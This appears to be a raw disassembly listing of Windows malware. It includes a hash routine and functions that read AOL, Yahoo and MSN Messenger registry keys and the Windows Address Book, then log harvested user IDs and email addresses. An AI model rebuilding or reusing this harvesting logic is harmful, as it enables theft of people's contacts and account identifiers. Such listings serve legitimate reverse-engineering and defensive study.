		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 83D89C0h
		dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 0B627E890h, 0B9001Bh,	33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch
		dd 4AB5C7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F70h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 245B54Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 46B507E8h
		dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 0B4B7E890h, 0B9001Bh, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 4DB726E8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24AB480h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D4Ch, 0E8694F8Dh,	0FFFCC913h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
		dd 19E89052h, 8B024AB4h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
		dd 10C683FFh, 5A24FE81h, 820F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 0B068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
		dd 0A468F08Bh, 5100445Bh, 446A5C68h, 3EE85600h,	90001BB3h
		dd 443E8C68h, 6DE85600h, 907780A3h, 0C483F88Bh,	74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60B5h, 0FCCB33E8h
		dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h,	90560A74h
		dd 7F74EEE8h, 4C48377h,	1C24448Bh, 0B2C6E850h, 8D90024Ah
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 767DE800h, 8390777Fh, 948D04C4h, 2E424h
		dd 68F08B00h, 4469F8h, 69E86852h, 90560044h, 1BB22CE8h
		dd 3E8C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh
		dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h
		dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
		dd 80BC88E8h, 4C48377h,	0A74F685h, 73E5E856h, 8390777Fh
		dd 548B04C4h, 90521C24h, 4AB1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		call	near ptr 291027Bh
		nop
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446948
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 28E0000h
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44693C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 291027Bh
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 291027Bh
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F70
		push	eax
		call	near ptr 28C0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 28E0000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 2830000h
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2700000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 2810703h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 2700688h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 2700832h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 291027Bh
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A88
		push	ecx
		call	ebx ; sub_5EFFD5
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A7C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		push	64h
		nop
		call	near ptr 2801E3Fh
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 28E0000h
		nop


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
